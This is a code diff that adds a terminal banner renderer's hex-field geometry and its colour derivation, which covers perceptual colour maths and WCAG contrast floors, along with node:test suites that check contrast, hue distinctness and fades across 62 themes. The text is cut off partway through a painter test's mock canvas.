+  const halfWidth = frameWidth / 2;
+  const halfHeight = (frameHeight / 2) * cellAspect;
+  const viewportHalfWidth = columns / 2;
+  const viewportHalfHeight = (rows / 2) * cellAspect;
+  for (const hex of completeHexes(columns, rows)) {
+    if (
+      HEX.some(
+        ([offsetY, offsetX]) =>
+          hex.y + offsetY >= top - 1 &&
+          hex.y + offsetY < top + frameHeight + 1 &&
+          hex.x + offsetX >= left - 2 &&
+          hex.x + offsetX < left + frameWidth + 2,
+      )
+    ) {
+      continue;
+    }
+    const dx = hex.x + 1.5 - centerX;
+    const dy = (hex.y + 1 - centerY) * cellAspect;
+    const ellipse = Math.hypot(dx / halfWidth, dy / halfHeight);
+    if (ellipse <= 1) continue;
+    const viewport = Math.max(
+      Math.abs(dx) / viewportHalfWidth,
+      Math.abs(dy) / viewportHalfHeight,
+    );
+    const ray =
+      ellipse <= viewport
+        ? 0
+        : Math.min(
+            1,
+            Math.max(0, (viewport * (ellipse - 1)) / (ellipse - viewport)),
+          );
+    if (
+      ray > 0.55 &&
+      stableRandom(hex.band, hex.index) < ((ray - 0.55) / 0.45) ** 1.3
+    )
+      continue;
+    for (const [offsetY, offsetX, char] of HEX)
+      put(hex.y + offsetY, hex.x + offsetX, char, "field", ray * ray, "field");
+  }
+
+  for (
+    let y = Math.max(0, top - 1);
+    y < Math.min(rows, top + frameHeight + 1);
+    y += 1
+  ) {
+    for (
+      let x = Math.max(0, left - 2);
+      x < Math.min(columns, left + frameWidth + 2);
+      x += 1
+    )
+      grid[y][x] = { char: " ", t: 0 };
+  }
+
+  const frame = INK_FRAME;
+  put(top, left, frame.topLeft, "bevel_hi", 0, "top_row");
+  for (let x = 0; x < innerWidth; x += 1)
+    put(top, left + x + 1, frame.top, "bevel_hi", 0, "top_row");
+  put(top, left + frameWidth - 1, frame.topRight, "bevel_hi", 0, "top_row");
+  for (let y = top + 1; y < top + frameHeight - 1; y += 1) {
+    put(y, left, frame.left, "bevel_hi", 0, "left_rail");
+    put(y, left + frameWidth - 1, frame.right, "bevel_lo", 0, "right_rail");
+  }
+  put(
+    top + frameHeight - 1,
+    left,
+    frame.bottomLeft,
+    "bevel_lo",
+    0,
+    "bottom_row",
+  );
+  for (let x = 0; x < innerWidth; x += 1)
+    put(
+      top + frameHeight - 1,
+      left + x + 1,
+      frame.bottom,
+      "bevel_lo",
+      0,
+      "bottom_row",
+    );
+  put(
+    top + frameHeight - 1,
+    left + frameWidth - 1,
+    frame.bottomRight,
+    "bevel_lo",
+    0,
+    "bottom_row",
+  );
+
+  const markLeft = left + Math.floor((frameWidth - width) / 2);
+  const markTop = top + paddingY + 1;
+  const ink = mark.flatMap((row, y) =>
+    [...row].flatMap((char, x) => (char === " " ? [] : [{ char, x, y }])),
+  );
+  if (ink.length === 0) return null;
+  const minX = Math.min(...ink.map(({ x }) => x));
+  const maxX = Math.max(...ink.map(({ x }) => x));
+  const span = Math.max(1, maxX - minX);
+  for (const cell of ink)
+    put(
+      markTop + cell.y,
+      markLeft + cell.x,
+      cell.char,
+      "head",
+      (cell.x - minX) / span,
+      "wordmark",
+    );
+
+  const seen = new Map<TerminalBannerLayer, number[]>();
+  for (const row of grid)
+    for (const cell of row)
+      if (cell.layer)
+        seen.set(cell.layer, [...(seen.get(cell.layer) ?? []), cell.t]);
+  if (LAYERS.some((layer) => !seen.has(layer))) return null;
+  if (EMITTERS.some((emitter) => !emitted.has(emitter))) return null;
+  const sweep = seen.get("head") ?? [];
+  if (Math.min(...sweep) !== 0 || Math.max(...sweep) !== 1) return null;
+
+  return { cells: grid };
+}
diff --git a/desktop/src/features/terminal/terminalBannerColor.test.mjs b/desktop/src/features/terminal/terminalBannerColor.test.mjs
new file mode 100644
index 0000000000..34aece6954
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerColor.test.mjs
@@ -0,0 +1,216 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { extractTerminalPalette } from "../../shared/theme/terminal-palette.ts";
+import {
+  SYNTAX_THEMES,
+  loadThemeData,
+} from "../../shared/theme/theme-loader.ts";
+import {
+  bannerColor,
+  bannerStops,
+  stopsAreDistinct,
+  de00,
+  hex2rgb,
+  lab,
+  ratio,
+} from "./terminalBannerColor.ts";
+
+// Gates. contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text); the rest are HOUSE
+// thresholds with no external standard, sized by sweep.
+const CONTRAST_MIN = 4.5;
+const CHROMA_MIN = 16;
+const HUE_MIN = 12;
+const SRGB_MIN = 45;
+const SAMPLES = 101;
+
+const chroma = (h) => Math.hypot(lab(h).a, lab(h).b);
+/** Hue-only CIEDE2000: both colours forced to a shared L, so lightness cannot
+ *  rescue a pair that is one hue at two brightnesses. */
+const hueDist = (a, b) => {
+  const p = lab(a),
+    q = lab(b),
+    L = (p.L + q.L) / 2;
+  return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
+};
+const srgbDist = (a, b) =>
+  Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
+const minPair = (s, f) => Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
+/** Signed short-arc hue step, in DEGREES. Degrees matter: the reversal
+ *  deadband below is calibrated in them. */
+const shortArcStep = (a, b) => {
+  const p = lab(a),
+    q = lab(b);
+  let d = (Math.atan2(q.b, q.a) - Math.atan2(p.b, p.a)) * (180 / Math.PI);
+  if (d > 180) d -= 360;
+  if (d < -180) d += 360;
+  return d;
+};
+// 8-bit output quantization jitters the hue angle by a few tenths of a degree,
+// so sub-0.5deg steps are noise, not reversals. Counting them flagged 56 clean
+// themes. The gate is the COUNT of real reversals, allowed up to 10% of samples.
+const REVERSAL_DEADBAND_DEG = 0.5;
+
+// Production loader + production extractor: the palettes under test are the
+// ones the app actually renders, not a fixture that can drift from them.
+async function palettes() {
+  const out = [];
+  for (const name of SYNTAX_THEMES) {
+    out.push([name, extractTerminalPalette(await loadThemeData(name))]);
+  }
+  return out;
+}
+
+const THEMES = await palettes();
+
+test("every shipped theme is censused", () => {
+  assert.equal(THEMES.length, SYNTAX_THEMES.length);
+  assert.equal(THEMES.length, 62);
+});
+
+test("wordmark holds contrast and chroma across the whole sweep, not just at the stops", () => {
+  // Dense sampling is load-bearing: an RGB lerp between opposing hues crosses
+  // the neutral axis, so the fade greys out mid-glyph while all three STOPS
+  // stay chromatic. Endpoint-only checks pass that bug. (kills M4)
+  const bad = [];
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    for (let i = 0; i < SAMPLES; i++) {
+      const c = bannerColor(p, stops, "head", i / (SAMPLES - 1));
+      const cr = ratio(c, p.background);
+      if (cr < CONTRAST_MIN - 0.005)
+        bad.push(`${name} contrast ${cr.toFixed(2)}`);
+      if (chroma(c) < CHROMA_MIN)
+        bad.push(`${name} chroma ${chroma(c).toFixed(1)}`);
+    }
+  }
+  assert.deepEqual(bad.slice(0, 8), [], `${bad.length} failures`); // kills M1, M2, M10, M11
+});
+
+test("themes whose own palette lacks three hues fall back to synthesis", () => {
+  // This is where the distinctness gate is OBSERVABLE. Asserting only that the
+  // returned stops pass the gate is vacuous — the gate is what produced them,
+  // and with it disabled the fallback still yields passing stops. What changes
+  // is WHICH themes take the fallback, so that is what gets pinned.
+  const synth = THEMES.filter(([, p]) => bannerStops(p).mode === "synth")
+    .map(([name]) => name)
+    .sort();
+  assert.deepEqual(synth, ["min-dark", "vesper"]);
+});
+
+test("the three stops are distinct by hue AND by sRGB distance", () => {
+  // Conjunction, not either alone: sRGB counts lightness, so white vs #a0a0a0
+  // scores 165 while being hue-identical; hue alone would admit stops that
+  // differ in angle but barely in appearance.
+  const bad = [];
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    const h = minPair(stops, hueDist),
+      d = minPair(stops, srgbDist);
+    if (h < HUE_MIN) bad.push(`${name} hue ${h.toFixed(1)}`);
+    if (d < SRGB_MIN) bad.push(`${name} srgb ${d.toFixed(1)}`);
+  }
+  assert.deepEqual(bad, []); // kills M3
+});
+
+test("each half of the distinctness gate rejects what the other half admits", () => {
+  // Tested directly on synthetic triads, NOT via the 62-theme census, because
+  // on the shipped themes the two halves mask each other: disabling either
+  // alone changes no theme's stops. A census-only test lets a reviewer delete
+  // one half and see all green.
+  //
+  // Hue-blind: three greys. sRGB says "far apart", hue says "same colour".
+  assert.equal(stopsAreDistinct(["#ffffff", "#a0a0a0", "#606060"]), false);
+  // Distance-blind: muted triad at hue 19.1deg, which CLEARS the hue half,
+  // but only 29.7 apart in sRGB — three colours on paper, one smudge on
+  // screen. Only the distance half rejects it.
+  assert.equal(stopsAreDistinct(["#6a7f8f", "#7f6a8f", "#8f7f6a"]), false);
+  // A real shipped triad (dark-plus) passes both.
+  assert.equal(stopsAreDistinct(["#569cd6", "#d7ba7d", "#b5cea8"]), true);
+});
+
+test("sRGB distance alone cannot gate distinctness", () => {
+  // Negative control on the gate itself: if this ever fails, the conjunction
+  // has stopped being a conjunction.
+  assert.ok(srgbDist("#ffffff", "#a0a0a0") > 60);
+  assert.ok(hueDist("#ffffff", "#a0a0a0") < 1);
+});
+
+test("the gradient walks the short hue arc and never reverses", () => {
+  // Total-variation counting was too noisy to catch a long-arc mutant (8-bit
+  // jitter -> false positives), and an off-arc angle tolerance misses it when
+  // the two arcs are near-equal (tokyo-night spans 178.3 deg). The invariant
+  // that holds: every step moves in the short-arc direction. (kills M5)
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    for (const [lo, hi, a, b] of [
+      [0, 0.5, 0, 1],
+      [0.5, 1, 1, 2],
+    ]) {
+      const want = Math.sign(shortArcStep(stops[a], stops[b]));
+      if (want === 0) continue;
+      let wrong = 0,
+        prev = bannerColor(p, stops, "head", lo);
+      for (let i = 1; i <= 50; i++) {
+        const c = bannerColor(p, stops, "head", lo + ((hi - lo) * i) / 50);
+        const step = shortArcStep(prev, c);
+        if (Math.abs(step) > REVERSAL_DEADBAND_DEG && Math.sign(step) !== want)
+          wrong++;
+        prev = c;
+      }
+      assert.ok(wrong <= 5, `${name}: ${wrong} wrong-direction steps of 50`);
+    }
+  }
+});
+
+test("the field fades monotonically from the box out to the rim", () => {
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    const r = [...Array(SAMPLES)].map((_, i) =>
+      ratio(bannerColor(p, stops, "field", i / (SAMPLES - 1)), p.background),
+    );
+    for (let i = 1; i < r.length; i++) {
+      assert.ok(r[i] <= r[i - 1] + 0.02, `${name} non-monotone at ${i}`); // kills M7
+    }
+    assert.ok(r[0] > r[r.length - 1] + 1, `${name} field does not fade`);
+  }
+});
+
+test("the bevel keeps a visible light/shadow gap", () => {
+  for (const [name, p] of THEMES) {
+    const { stops } = bannerStops(p);
+    const hi = ratio(bannerColor(p, stops, "bevel_hi", 0), p.background);
+    const lo = ratio(bannerColor(p, stops, "bevel_lo", 0), p.background);
+    // ORIENTED, not just separated: a gap assertion is symmetric under
+    // swapping the two bevel layers, and a swap changes neither cell count nor
+    // draw-call count. Only a colour-valued, directional check sees it.
+    assert.ok(
+      hi > lo,
+      `${name} bevel inverted: hi ${hi.toFixed(2)} <= lo ${lo.toFixed(2)}`,
+    );
+    assert.ok(hi - lo >= 1.0, `${name} bevel gap ${(hi - lo).toFixed(2)}`);
+  }
+});
+
+test("every layer returns a colour", () => {
+  // A renamed layer silently returned undefined once; this is that regression.
+  for (const [name, p] of THEMES.slice(0, 3)) {
+    const { stops } = bannerStops(p);
+    for (const layer of ["field", "head", "bevel_hi", "bevel_lo"]) {
+      assert.match(
+        bannerColor(p, stops, layer, 0.5),
+        /^#[0-9a-f]{6}$/,
+        `${name}/${layer}`,
+      );
+    }
+  }
+});
+
+test("contrast is lifted to the floor, never pinned down to it", () => {
+  // A floor is not a target: pinning dimmed 30 of 62 themes and cost chroma.
+  const spread = THEMES.map(([, p]) => {
+    const { stops } = bannerStops(p);
+    return Math.max(...stops.map((s) => ratio(s, p.background)));
+  });
+  assert.ok(Math.max(...spread) > 8, "no theme exceeds the floor => pinned");
+});
diff --git a/desktop/src/features/terminal/terminalBannerColor.ts b/desktop/src/features/terminal/terminalBannerColor.ts
new file mode 100644
index 0000000000..e18d3effde
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerColor.ts
@@ -0,0 +1,408 @@
+/**
+ * Terminal banner colour derivation — the colour half of the banner contract.
+ *
+ * Geometry (terminalBanner.ts) is pure and carries no colour:
+ * grid[row][col] = { char, layer, t }. This module maps (layer, t) -> hex,
+ * given the theme's TerminalPalette. Colour is derived in the renderer and
+ * regenerated only on viewport or theme change.
+ *
+ * Why the palette and not the CSS vars: `--primary` is a user preference that
+ * collapses to `--foreground` on the Buzz themes (ThemeProvider.tsx), and
+ * `--secondary` / `--accent` are assigned the same 6% hover tint
+ * (adaptive-theme.ts:241-243). A literal primary/secondary/accent fade is two
+ * stops, one of which is the background. The TerminalPalette carries the
+ * theme's real hues, so the three stops come from there.
+ *
+ * Thresholds: contrast 4.5 is WCAG 2.2 SC 1.4.3 (body text). Chroma 16,
+ * hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE thresholds with no
+ * external standard — sized by
+ * sweep and stable across 8-25 chroma x 8-20 hue.
+ *
+ * Validated by terminalBannerColor.test.mjs: all 62 shipped themes pass every
+ * gate, and 8 mutants of this file are killed by those gates.
+ */
+import type {
+  AnsiColorName,
+  TerminalPalette,
+} from "../../shared/theme/terminal-palette.ts";
+
+// sRGB -> CIELAB -> CIEDE2000. Instrument for "are two stops visibly distinct".
+export const hex2rgb = (h: string) =>
+  [1, 3, 5].map((i) => parseInt(h.slice(i, i + 2), 16));
+export const rgb2hex = (r: readonly number[]) =>
+  "#" +
+  r
+    .map((v) =>
+      Math.max(0, Math.min(255, Math.round(v)))
+        .toString(16)
+        .padStart(2, "0"),
+    )
+    .join("");
+const lin = (c: number) => {
+  c /= 255;
+  return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
+};
+export const lum = (h: string) => {
+  const [r, g, b] = hex2rgb(h);
+  return 0.2126 * lin(r) + 0.7152 * lin(g) + 0.0722 * lin(b);
+};
+export const ratio = (a: string, b: string) => {
+  const [x, y] = [lum(a), lum(b)].sort((p, q) => q - p);
+  return (x + 0.05) / (y + 0.05);
+};
+export const mix = (a: string, b: string, t: number) =>
+  rgb2hex(hex2rgb(a).map((v, i) => v + (hex2rgb(b)[i] - v) * t));
+
+export function lab(hex: string) {
+  const [r, g, b] = hex2rgb(hex).map(lin);
+  // sRGB D65 -> XYZ
+  let x = r * 0.4124 + g * 0.3576 + b * 0.1805;
+  let y = r * 0.2126 + g * 0.7152 + b * 0.0722;
+  let z = r * 0.0193 + g * 0.1192 + b * 0.9505;
+  x /= 0.95047;
+  y /= 1.0;
+  z /= 1.08883;
+  const f = (t: number) =>
+    t > 216 / 24389 ? Math.cbrt(t) : (841 / 108) * t + 4 / 29;
+  const [fx, fy, fz] = [f(x), f(y), f(z)];
+  return { L: 116 * fy - 16, a: 500 * (fx - fy), b: 200 * (fy - fz) };
+}
+
+export function de00(
+  p: { L: number; a: number; b: number },
+  q: { L: number; a: number; b: number },
+) {
+  const rad = Math.PI / 180,
+    deg = 180 / Math.PI;
+  const C1 = Math.hypot(p.a, p.b),
+    C2 = Math.hypot(q.a, q.b);
+  const Cbar = (C1 + C2) / 2;
+  const G = 0.5 * (1 - Math.sqrt(Cbar ** 7 / (Cbar ** 7 + 25 ** 7)));
+  const a1p = (1 + G) * p.a,
+    a2p = (1 + G) * q.a;
+  const C1p = Math.hypot(a1p, p.b),
+    C2p = Math.hypot(a2p, q.b);
+  const hp = (b: number, a: number) => {
+    if (b === 0 && a === 0) return 0;
+    const v = Math.atan2(b, a) * deg;
+    return v < 0 ? v + 360 : v;
+  };
+  const h1p = hp(p.b, a1p),
+    h2p = hp(q.b, a2p);
+  const dLp = q.L - p.L,
+    dCp = C2p - C1p;
+  let dhp = 0;
+  if (C1p * C2p !== 0) {
+    dhp = h2p - h1p;
+    if (dhp > 180) dhp -= 360;
+    else if (dhp < -180) dhp += 360;
+  }
+  const dHp = 2 * Math.sqrt(C1p * C2p) * Math.sin((dhp / 2) * rad);
+  const Lbp = (p.L + q.L) / 2,
+    Cbp = (C1p + C2p) / 2;
+  let hbp = h1p + h2p;
+  if (C1p * C2p !== 0) {
+    if (Math.abs(h1p - h2p) > 180) hbp += h1p + h2p < 360 ? 360 : -360;
+    hbp /= 2;
+  }
+  const T =
+    1 -
+    0.17 * Math.cos((hbp - 30) * rad) +
+    0.24 * Math.cos(2 * hbp * rad) +
+    0.32 * Math.cos((3 * hbp + 6) * rad) -
+    0.2 * Math.cos((4 * hbp - 63) * rad);
+  const dTh = 30 * Math.exp(-(((hbp - 275) / 25) ** 2));
+  const Rc = 2 * Math.sqrt(Cbp ** 7 / (Cbp ** 7 + 25 ** 7));
+  const Sl = 1 + (0.015 * (Lbp - 50) ** 2) / Math.sqrt(20 + (Lbp - 50) ** 2);
+  const Sc = 1 + 0.045 * Cbp,
+    Sh = 1 + 0.015 * Cbp * T;
+  const Rt = -Math.sin(2 * dTh * rad) * Rc;
+  return Math.sqrt(
+    (dLp / Sl) ** 2 +
+      (dCp / Sc) ** 2 +
+      (dHp / Sh) ** 2 +
+      Rt * (dCp / Sc) * (dHp / Sh),
+  );
+}
+
+import type { TerminalBannerLayer } from "./terminalBanner.ts";
+export type Layer = TerminalBannerLayer;
+
+// WCAG 2.2 SC 1.4.3: 4.5:1 body text. The wordmark is content, not decoration.
+const WORDMARK_FLOOR = 4.5;
+// Ours, tuning, no standard:
+const FIELD_CORE = 2.6; // hex field nearest the box — present, not competing
+const FIELD_EDGE = 1.04; // at the rim — all but gone
+const BEVEL_HI = 2.9; // lit edge
+const BEVEL_LO = 1.55; // shadowed edge; the ratio gap IS the bevel
+const CHROMA_MIN = 16; // Lab C*: below this a "hue" is a grey
+// UNIT: CIEDE2000 dH' with both colours forced to a shared L*. NOT raw LCh
+// hue-angle degrees, which run ~1.5-3x larger on the same stops (red 13.0 vs
+// 19.3, kanagawa-dragon 25.1 vs 75.3) because S_H weights by chroma and hue.
+// Quoting a degrees figure next to this threshold compares different units.
+const HUE_MIN = 12;
+const SRGB_MIN = 45; // min pairwise sRGB distance, conjoined with HUE_MIN
+
+/** Euclidean sRGB distance. Guards near-coincident stops that differ in hue
+ *  angle but barely in appearance. NOT sufficient alone: it counts lightness,
+ *  so white vs #a0a0a0 scores 165 while being hue-identical (hueDist 0.0). */
+const srgbDist = (a: string, b: string) =>
+  Math.hypot(...hex2rgb(a).map((v, i) => v - hex2rgb(b)[i]));
+
+const chroma = (h: string) => {
+  const v = lab(h);
+  return Math.hypot(v.a, v.b);
+};
+/** CIEDE2000 with both colours forced to a shared L — lightness must not
+ *  rescue a pair that is really one hue at two brightnesses. */
+const hueDist = (a: string, b: string) => {
+  const p = lab(a),
+    q = lab(b),
+    L = (p.L + q.L) / 2;
+  return de00({ L, a: p.a, b: p.b }, { L, a: q.a, b: q.b });
+};
+function away(c: string, bg: string, floor: number) {
+  const dir = lum(bg) > 0.5 ? "#000000" : "#ffffff";
+  let x = c;
+  for (let i = 0; i < 200 && ratio(x, bg) < floor; i++) x = mix(x, dir, 0.02);
+  return x;
+}
+/** Solve for a CONTRAST RATIO, never a fixed mix fraction: one constant
+ *  fraction gives a 2.6x appearance spread across themes. */
+function atRatio(colour: string, bg: string, target: number) {
+  const have = ratio(colour, bg);
+  if (have < target) return away(colour, bg, target);
+  // Idempotence: re-pinning an already-compliant colour bisects it a hair
+  // closer to the ground each time, and every pass costs chroma. Measured on
+  // kanagawa-dragon: a second pin dropped a stop from C* 16.1 to 15.5.
+  if (have - target < 0.05) return colour;
+  let lo = 0,
+    hi = 1,
+    best = colour;
+  for (let i = 0; i < 28; i++) {
+    const m = (lo + hi) / 2,
+      c = mix(colour, bg, m);
+    if (ratio(c, bg) > target) {
+      best = c;
+      lo = m;
+    } else hi = m;
+  }
+  return best;
+}
+function lab2hex(L: number, A: number, B: number) {
+  const fy = (L + 16) / 116,
+    fx = fy + A / 500,
+    fz = fy - B / 200;
+  const fi = (t: number) =>
+    t ** 3 > 216 / 24389 ? t ** 3 : (116 * t - 16) / (24389 / 27);
+  const x = fi(fx) * 0.95047,
+    y = L > 8 ? ((L + 16) / 116) ** 3 : L / (24389 / 27),
+    z = fi(fz) * 1.08883;
+  const g = (c: number) => {
+    c = Math.max(0, Math.min(1, c));
+    return c <= 0.0031308 ? 12.92 * c : 1.055 * c ** (1 / 2.4) - 0.055;
+  };
+  const to = (v: number) =>
+    Math.round(g(v) * 255)
+      .toString(16)
+      .padStart(2, "0");
+  return `#${to(x * 3.2406 + y * -1.5372 + z * -0.4986)}${to(x * -0.9689 + y * 1.8758 + z * 0.0415)}${to(x * 0.0557 + y * -0.204 + z * 1.057)}`;
+}
+
+/** Raise to the floor if short, otherwise leave alone. A floor is a floor,
+ *  not a target: `atRatio` also pins DOWN, which dimmed every vivid theme to
+ *  exactly 4.5 and cost chroma (tokyo-night's #f7768e sits at 6.46 natively).
+ *  Use this wherever the requirement is "at least", and `atRatio` only where a
+ *  specific ratio is the design (the field decay and the bevel gap).
+ *
+ *  Exported because the animation's colour table interpolates BETWEEN solved
+ *  samples, and a straight-line blend under a convex contrast curve lands
+ *  slightly below both endpoints — measured at 4.4766 against the 4.5 floor on
+ *  solarized-light. The blend has to be re-lifted with the same operator that
+ *  put the endpoints on the floor in the first place. */
+export const lift = (c: string, bg: string, floor: number) =>
+  ratio(c, bg) >= floor ? c : away(c, bg, floor);
+
+/**
+ * The distinctness gate. Conjunction by design, and each half is tested
+ * directly (terminalBannerColor.test.mjs) because on the 62 shipped themes the
+ * two halves MASK EACH OTHER: disabling either alone changes no theme's stops,
+ * only disabling both does. A census can therefore never justify keeping both.
+ *
+ * Neither half is sufficient. sRGB distance counts lightness, so white vs
+ * #a0a0a0 scores 165 while being one hue. Hue alone admits stops that differ
+ * in angle but barely in appearance.
+ *
+ * Thresholds: hue 12 (CIEDE2000 dH', equal-L*) and sRGB 45 are HOUSE
+ * thresholds with no external
+ * standard, sized by sweep. The contrast floor 4.5 is WCAG 2.2 SC 1.4.3.
+ */
+export function stopsAreDistinct(s: [string, string, string]): boolean {
+  const min = (f: (a: string, b: string) => number) =>
+    Math.min(f(s[0], s[1]), f(s[1], s[2]), f(s[0], s[2]));
+  return min(hueDist) >= HUE_MIN && min(srgbDist) >= SRGB_MIN;
+}
+
+const HUES = ["red", "green", "yellow", "blue", "magenta", "cyan"] as const;
+
+/** The three wordmark stops: maximally hue-separated, each at the text floor. */
+export function bannerStops(p: TerminalPalette): {
+  stops: [string, string, string];
+  mode: "native" | "synth";
+} {
+  const bg = p.background;
+  const seen = new Set<string>();
+  const pool: string[] = [];
+  for (const n of HUES)
+    for (const k of [n, `bright${n[0].toUpperCase()}${n.slice(1)}`]) {
+      const c = lift(p.ansi[k as AnsiColorName], bg, WORDMARK_FLOOR);
+      if (!seen.has(c)) {
+        seen.add(c);
+        pool.push(c);
+      }
+    }
+  const chromatic = pool.filter((c) => chroma(c) >= CHROMA_MIN);
+  const pick = (cs: string[]) => {
+    let seed = [cs[0], cs[1]],
+      best = -1;
+    for (let i = 0; i < cs.length; i++)
+      for (let j = i + 1; j < cs.length; j++) {
+        const d = hueDist(cs[i], cs[j]);
+        if (d > best) {
+          best = d;
+          seed = [cs[i], cs[j]];
+        }
+      }
+    const ch = [...seed];
+    let third = cs[0],
+      td = -1;
+    for (const c of cs) {
+      if (ch.includes(c)) continue;
+      const d = Math.min(...ch.map((x) => hueDist(x, c)));
+      if (d > td) {
+        td = d;
+        third = c;
+      }
+    }
+    return [...ch, third];
+  };
+  let stops: string[] | null = null;
+  if (chromatic.length >= 3) {
+    const s = pick(chromatic);
+    // Conjunction. Neither alone is sufficient: sRGB distance counts
+    // lightness, so it scores white-vs-grey 165 while they are one hue; and
+    // hue alone admits stops that differ in angle but barely in appearance.
+    if (stopsAreDistinct(s as [string, string, string])) stops = s;
+  }
+  let mode: "native" | "synth" = "native";
+  if (!stops) {
+    // Near-monochrome theme (vesper, min-dark): rotate +/-40 deg in LCh around
+    // the theme's own most chromatic colour. It stays the theme's hue family —
+    // a restrained theme stays restrained, it just gains a fade.
+    mode = "synth";
+    const anchor = pool.reduce((a, b) => (chroma(b) > chroma(a) ? b : a));
+    const v = lab(anchor),
+      C = Math.max(Math.hypot(v.a, v.b), 22),
+      h0 = (Math.atan2(v.b, v.a) * 180) / Math.PI;
+    stops = [-40, 0, 40].map((d) => {
+      const h = ((h0 + d) * Math.PI) / 180;
+      return lift(
+        lab2hex(v.L, C * Math.cos(h), C * Math.sin(h)),
+        bg,
+        WORDMARK_FLOOR,
+      );
+    });
+  }
+  // order by hue angle so the sweep is monotone across the wordmark
+  stops.sort((a, b) => {
+    const x = lab(a),
+      y = lab(b);
+    return Math.atan2(x.b, x.a) - Math.atan2(y.b, y.a);
+  });
+  return { stops: stops as [string, string, string], mode };
+}
+
+/**
+ * 3-stop ramp interpolated in CIELCh (polar Lab) along the SHORT hue arc,
+ * then re-solved to the target ratio so every sampled point keeps its contrast
+ * instead of sagging between stops.
+ *
+ * Not RGB interpolation: a straight line in RGB between two opposing hues
+ * passes through the neutral axis, so the fade greys out mid-glyph. Measured
+ * on vitesse-dark, whose stops are all C* >= 24 yet whose RGB midpoint fell to
+ * C* 2.3 — three chromatic stops and a grey wordmark. Interpolating the hue
+ * ANGLE keeps chroma up across the whole sweep.
+ */
+function lerpLch(a: string, b: string, u: number) {
+  const p = lab(a),
+    q = lab(b);
+  const [C1, C2] = [Math.hypot(p.a, p.b), Math.hypot(q.a, q.b)];
+  const h1 = Math.atan2(p.b, p.a),
+    h2 = Math.atan2(q.b, q.a);
+  let dh = h2 - h1; // short arc
+  if (dh > Math.PI) dh -= 2 * Math.PI;
+  if (dh < -Math.PI) dh += 2 * Math.PI;
+  const L = p.L + (q.L - p.L) * u;
+  const C = C1 + (C2 - C1) * u;
+  const h = h1 + dh * u;
+  return lab2hex(L, C * Math.cos(h), C * Math.sin(h));
+}
+function ramp(
+  stops: [string, string, string],
+  t: number,
+  bg: string,
+  target: number,
+  pin = true,
+) {
+  const u = Math.max(0, Math.min(1, t));
+  const c =
+    u < 0.5
+      ? lerpLch(stops[0], stops[1], u * 2)
+      : lerpLch(stops[1], stops[2], (u - 0.5) * 2);
+  return pin ? atRatio(c, bg, target) : lift(c, bg, target);
+}
+
+/**
+ * `t` and `hue` are TWO AXES, and on the field they are not the same axis.
+ *
+ * A cell's `t` from the geometry is radial: `ray * ray`, a cast outward from
+ * the chassis. It sets the field's CONTRAST decay (2.60 at the box to 1.04 at
+ * the rim) and it also used to set the hue position, because a static banner
+ * has no reason to tell them apart. An animated wave does: driving hue from
+ * the radial axis makes the colour travel outward from the box like a ripple,
+ * and driving the contrast target from a moving axis makes the rim pulse
+ * bright and breaks the monotonic fade the field is specced on.
+ *
+ * So `hue` selects the position along the three-stop ramp and `t` keeps the
+ * contrast decay. `hue` DEFAULTS TO `t`, which is exactly the coupled
+ * behaviour the static banner shipped with — callers that omit it get the
+ * shipped pixels, byte for byte.
+ */
+export function bannerColor(
+  p: TerminalPalette,
+  stops: [string, string, string],
+  layer: Layer,
+  t: number,
+  hue: number = t,
+): string {
+  const bg = p.background;
+  switch (layer) {
+    case "head":
+      // Tyler: "fill the box with buzz term in a three color fade".
+      return ramp(stops, hue, bg, WORDMARK_FLOOR, false);
+    case "field":
+      // Tyler: "flow to the edges, fading out" + "colour shift centre to edge".
+      // Same three hues, so the field and the mark are one palette; the fade is
+      // in CONTRAST, from 2.60 at the box to 1.04 at the rim.
+      return ramp(
+        stops,
+        hue,
+        bg,
+        FIELD_CORE + (FIELD_EDGE - FIELD_CORE) * Math.max(0, Math.min(1, t)),
+      );
+    case "bevel_hi":
+      return atRatio(p.foreground, bg, BEVEL_HI);
+    case "bevel_lo":
+      return atRatio(p.foreground, bg, BEVEL_LO);
+  }
+}
diff --git a/desktop/src/features/terminal/terminalBannerPainter.test.mjs b/desktop/src/features/terminal/terminalBannerPainter.test.mjs
new file mode 100644
index 0000000000..79a78a7620
--- /dev/null
+++ b/desktop/src/features/terminal/terminalBannerPainter.test.mjs
@@ -0,0 +1,127 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { buildTerminalBanner } from "./terminalBanner.ts";
+import { paintTerminalBanner } from "./terminalBannerPainter.ts";
+
+const palette = {
+  background: "#10141c",
+  foreground: "#d0d0d0",
+  cursor: "#ffffff",
+  cursorText: "#000000",
+  ansi: {
+    black: "#10141c",
+    red: "#f07178",
+    green: "#aad94c",
+    yellow: "#ffb454",
+    blue: "#59c2ff",
+    magenta: "#d2a6ff",
+    cyan: "#95e6cb",
+    white: "#d0d0d0",
+    brightBlack: "#4d5566",
+    brightRed: "#f07178",
+    brightGreen: "#aad94c",
+    brightYellow: "#ffb454",
+    brightBlue: "#59c2ff",
+    brightMagenta: "#d2a6ff",
+    brightCyan: "#95e6cb",
+    brightWhite: "#ffffff",
+  },
+};
+
+function canvas() {
+  const draws = [];
+  const clears = [];
+  const colors = [];
+  const fills = [];
+  const context = {
+    _fillStyle: "",
+    clearRect(...args) {
+      clears.push(args);
+    },
+    fillRect(...args) {
+      fills.push({ args, color: this._fillStyle, glyphsBefore: draws.length });
+    },
+    fillText(...args) {
+      draws.push(args);
+      colors.push(this._fillStyle);
+    },
+    font: "",
+    set fillStyle(value) {
+      this._fillStyle = value;
+    },
+    get fillStyle() {
+      return this._fillStyle;
+    },
+    setTransform() {},
+    textBaseline: "",
+  };
+  return {
+    canvas: {
+      height: 0,
+      width: 0,
